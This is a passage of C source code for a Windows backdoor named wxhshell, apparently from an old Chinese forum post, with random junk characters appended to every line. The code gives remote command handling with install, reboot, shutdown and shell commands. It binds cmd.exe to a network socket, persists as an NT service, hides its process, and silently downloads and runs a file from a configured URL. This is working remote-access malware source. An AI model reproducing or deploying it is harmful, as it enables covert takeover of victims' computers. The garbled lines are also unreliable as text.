  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); s[SzE6eQ`l  
  } t9zPJQlT}  
  else { \#lh b  
hUxpz:U*  
    switch(cmd[0]) { cSnm\f  
  k9w<0h3  
  // 帮助 =uYSZR  
  case '?': { 6jO*rseC  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); d&n0:xOc  
    break; +[zrU`!@  
  }  #Z"N\49  
  // 安装 @R9  
  case 'i': { 0v,DQJ?w8  
    if(Install()) 44 o5I:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); I`5F& 8J{  
    else L`V6\Ix(I  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); o`DBzC  
    break; Go^W\y   
    } vpMNulXb,  
  // 卸载 }^pnwo9vV  
  case 'r': { (|I0C 'Ki  
    if(Uninstall()) ;^=eiurv  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  bXQ(6P  
    else {MO`0n; rt  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [f:>tRdH  
    break; qF%wl  
    } &bRmr/D  
  // 显示 wxhshell 所在路径 ^8 AV#a  
  case 'p': { 'i%Azzv  
    char svExeFile[MAX_PATH]; 13}=;4O  
    strcpy(svExeFile,"\n\r"); ~g;(` g  
      strcat(svExeFile,ExeFile); @J!)o d  
        send(wsh,svExeFile,strlen(svExeFile),0); KVSy^-."  
    break; Rl=NVo  
    } Rqa#;wb!(  
  // 重启 6K[s),rdv  
  case 'b': { Yc"G="XP;  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); __-rP  
    if(Boot(REBOOT)) R0gjx"U  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Y\%R6/Gj|u  
    else { &+J5GHt@  
    closesocket(wsh); F<Z"W}I+6  
    ExitThread(0); o//N"S.)  
    } kVe^g]F  
    break; s><RL]+{G+  
    } +7sdQCO(Co  
  // 关机 &julw;E  
  case 'd': { V<\:iNXX{  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); b0rC\^x  
    if(Boot(SHUTDOWN)) A:cc @ku  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); z }R-J/xr2  
    else { q ^n6"&;*  
    closesocket(wsh); {>5z~OV  
    ExitThread(0); V. 1sb pI  
    } ~*LH[l>K  
    break; R 7xV{o  
    } 4:nmo@K &~  
  // 获取shell !#f4t]FM`B  
  case 's': { n)sK#C-VA  
    CmdShell(wsh); tCI8 \~  
    closesocket(wsh); WN?!(r<qA_  
    ExitThread(0); IE|x+RBD  
    break; ^NHQ[4I  
  } Q'7o_[o/  
  // 退出 .J&NM(qeZ  
  case 'x': { 0 -=onX  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ZZ]/9oiF%  
    CloseIt(wsh); E$ F)z  
    break; bpzB}nEp  
    } $O%lYQY]  
  // 离开 B5=L</Aj  
  case 'q': { O)\xElu  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); [LjYLm%<  
    closesocket(wsh); v9x $`  
    WSACleanup(); n"@3d.21  
    exit(1); 4w*F!E2H\}  
    break; /+JCi6{sHS  
        } ag:#82C  
  } V BIPB  
  } K{x<zv&,  
O<L /m[]  
  // 提示信息 SKD!V6S  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); o7DDL{iR/  
} e4khReF;  
  } j ;VYF  
QkGr{  
  return; O|4~$7  
} \^|ncu:T  
t{F6+dp  
// shell模块句柄 /n@_Ihx  
int CmdShell(SOCKET sock) e}(. u1  
{ *q|.H9 K(  
STARTUPINFO si; %nFZA)B[  
ZeroMemory(&si,sizeof(si)); Y^2Ma878  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; :M1+[FT  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; y{!`4CxF  
PROCESS_INFORMATION ProcessInfo; &{Uaa  
char cmdline[]="cmd"; dQ/Xs.8  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); K4,VSy1byI  
  return 0; i:qc2#O:J  
} 0}Kl47}aD  
u'yePJTE  
// 自身启动模式 [9[tn -  
int StartFromService(void) |pq z(j7  
{ \@MGO aR]  
typedef struct +\"@2mOH{+  
{ WuSRA<{P  
  DWORD ExitStatus; o1GWcxu*\  
  DWORD PebBaseAddress; Y49kq}  
  DWORD AffinityMask; Vn=J$Uv0  
  DWORD BasePriority; qW;nWfkYC  
  ULONG UniqueProcessId; XLEA|#  
  ULONG InheritedFromUniqueProcessId; ln3x1^!  
}   PROCESS_BASIC_INFORMATION; (0Hhn2JA  
_L%/NXu,  
PROCNTQSIP NtQueryInformationProcess; ~ Z%>N  
P:ys--$"  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; *v8Cj(69  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Fe"0Hp+  
|+suGqo  
  HANDLE             hProcess;  by>,h4  
  PROCESS_BASIC_INFORMATION pbi; /bt@HFL|`  
%QwMB`x  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); } ..}]J;To  
  if(NULL == hInst ) return 0; _ky!4^B  
0kmVP~K  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ~4XJ" d3L  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); n)$ q*IN"  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); @^k$`W;  
5IVASqYp  
  if (!NtQueryInformationProcess) return 0; r[EN`AxDb  
<0JW[m  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); <9\_b 6  
  if(!hProcess) return 0; zh*NRN  
hh:0m\@<  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; _Xsn1  
i"Ct}7i  
  CloseHandle(hProcess); "W\ #d  
A3C<9wXx  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ?|N:[.  
if(hProcess==NULL) return 0; e)cmZ8~S  
w`F}3zm  
HMODULE hMod; top3o{ 4  
char procName[255]; wy:.  
unsigned long cbNeeded; 2s|[!:L5  
{P1W{|  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 5OpK~f5  
Zt[ P kBi  
  CloseHandle(hProcess); )o AK)e  
pf] sL/g  
if(strstr(procName,"services")) return 1; // 以服务启动 Kc{fT^E  
m"H9C-Y  
  return 0; // 注册表启动 w y:USS?  
} pBK[j ([  
f{* G%  
// 主模块 ]E[Mv} =  
int StartWxhshell(LPSTR lpCmdLine) gmJJ(}HVz  
{ 0BxO75m}o  
  SOCKET wsl; xjR/K&[m  
BOOL val=TRUE; L|!9%X0.  
  int port=0; ZiVTc/b  
  struct sockaddr_in door; Ddt(*z /  
f.rHX<%q9B  
  if(wscfg.ws_autoins) Install(); OM}:1He  
O?8G  
port=atoi(lpCmdLine); xV<NeU  
Rqvm%sAi  
if(port<=0) port=wscfg.ws_port; KZ/}Iy>As  
T3'dfe U  
  WSADATA data; A3Ltk 2<  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ``>WFLWTn  
Bz /NFNi[p  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   BE%#4c.b  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); a)y8MGx?  
  door.sin_family = AF_INET; F =d L#@^  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); X1tAV>k5'L  
  door.sin_port = htons(port); U{i9h6b"18  
{U-VInu  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { WlWBYnphZs  
closesocket(wsl); Dugr{Y/0  
return 1; 7th&C,c&  
} B1*%pjy  
H^'*F->BA  
  if(listen(wsl,2) == INVALID_SOCKET) { z@T;N'EM  
closesocket(wsl); ")x9A&p  
return 1; )9L1WOGi  
} E*rDwTd  
  Wxhshell(wsl); !C#q  
  WSACleanup(); 8h;1(S)*Z  
8M(N   
return 0; 0~an\4nh  
gt}/C4|  
} )Bd+jli|s  
lyv9eM  
// 以NT服务方式启动 1)%9h>F7  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ?$=N!>P#  
{ )M'#l<9B  
DWORD   status = 0; }{]{`\  
  DWORD   specificError = 0xfffffff; $zxCv7  
U/0NN>V  
  serviceStatus.dwServiceType     = SERVICE_WIN32; "QGP]F  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; |D`Zi>lv  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; y5+-_x,  
  serviceStatus.dwWin32ExitCode     = 0; Ww)qBsi8  
  serviceStatus.dwServiceSpecificExitCode = 0; QJGRi  
  serviceStatus.dwCheckPoint       = 0; _y5b>+  
  serviceStatus.dwWaitHint       = 0; %DzS~5$G  
{_ewc/~  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); }ndH|,  
  if (hServiceStatusHandle==0) return; 3#0nus|=S  
PJh\U1Z  
status = GetLastError(); s)xfTr_$  
  if (status!=NO_ERROR) cZ^$!0  
{ +w GE  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 0+cRUH9Ew  
    serviceStatus.dwCheckPoint       = 0; ]O&TU X@)  
    serviceStatus.dwWaitHint       = 0; qX-Jpi P  
    serviceStatus.dwWin32ExitCode     = status; So0YvhZ+  
    serviceStatus.dwServiceSpecificExitCode = specificError; r{6 ,;  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); kpK: @  
    return; 8oN4!#:  
  } K6!`b( v#  
BC!l)2  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; `^ F'af  
  serviceStatus.dwCheckPoint       = 0; z\fD}`^8  
  serviceStatus.dwWaitHint       = 0; |MTgKEsn  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); bpKMQrwd  
} 1sn!!  
v_)cp9d]  
// 处理NT服务事件,比如:启动、停止 6mMJ$FY+  
VOID WINAPI NTServiceHandler(DWORD fdwControl) &e3z)h  
{ oaRPYgh4  
switch(fdwControl) r")=Z1y  
{ VaSw}q/o:/  
case SERVICE_CONTROL_STOP: o"QpV >x  
  serviceStatus.dwWin32ExitCode = 0; j!m~ :D  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; wF3mQ_hv:@  
  serviceStatus.dwCheckPoint   = 0; NjsP"  
  serviceStatus.dwWaitHint     = 0; ^vsOlA(4  
  { N-K.#5  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); -[Zau$;J<  
  } cnCUvD]'  
  return; bKG:_mWe w  
case SERVICE_CONTROL_PAUSE: ~g>15b3  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Tff7SEP  
  break; hMhD(X  
case SERVICE_CONTROL_CONTINUE: YM+}Mmu  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; YN"102CK  
  break; 2/?pI/W  
case SERVICE_CONTROL_INTERROGATE: -aKL 78  
  break; G}D?+MWY  
}; >D<nfG<s Z  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); {&w%3  
} /i DS#l\0  
#;}IHAR  
// 标准应用程序主函数 V/>SjUNq  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) v`x~O+  
{ ^D oJ='&  
BFj@Z'7P  
// 获取操作系统版本 Yg2z=&p-{"  
OsIsNt=GetOsVer(); .B#Lt,m  
GetModuleFileName(NULL,ExeFile,MAX_PATH); C'7W50b  
:qgdn,Me  
  // 从命令行安装 wrGd40  
  if(strpbrk(lpCmdLine,"iI")) Install(); ?R"5 .3  
,<pql!B-  
  // 下载执行文件 bs%]xf ~D;  
if(wscfg.ws_downexe) { 69yTGUG3  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) |byB7 f  
  WinExec(wscfg.ws_filenam,SW_HIDE); bp$8hUNYz-  
} Q 7B)t;^  
=CRaMjN  
if(!OsIsNt) { G.B^C)guu  
// 如果时win9x,隐藏进程并且设置为注册表启动 K%Q^2"Eb0  
HideProc(); #J^p,6  
StartWxhshell(lpCmdLine); 6@bGh|   
} ZpI_/  
else V~e1CZ(2X  
  if(StartFromService()) 8 _`Lx_R  
  // 以服务方式启动 Wc`Vcn1  
  StartServiceCtrlDispatcher(DispatchTable); )S8q.h  
else iP' }eQn]c  
  // 普通方式启动  4uU(t  
  StartWxhshell(lpCmdLine); dVe3h.,[v  
L)B?p!cdLT  
return 0; o#0NIn"GS/  
}
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只看该作者 1 发表于: 2006-10-10
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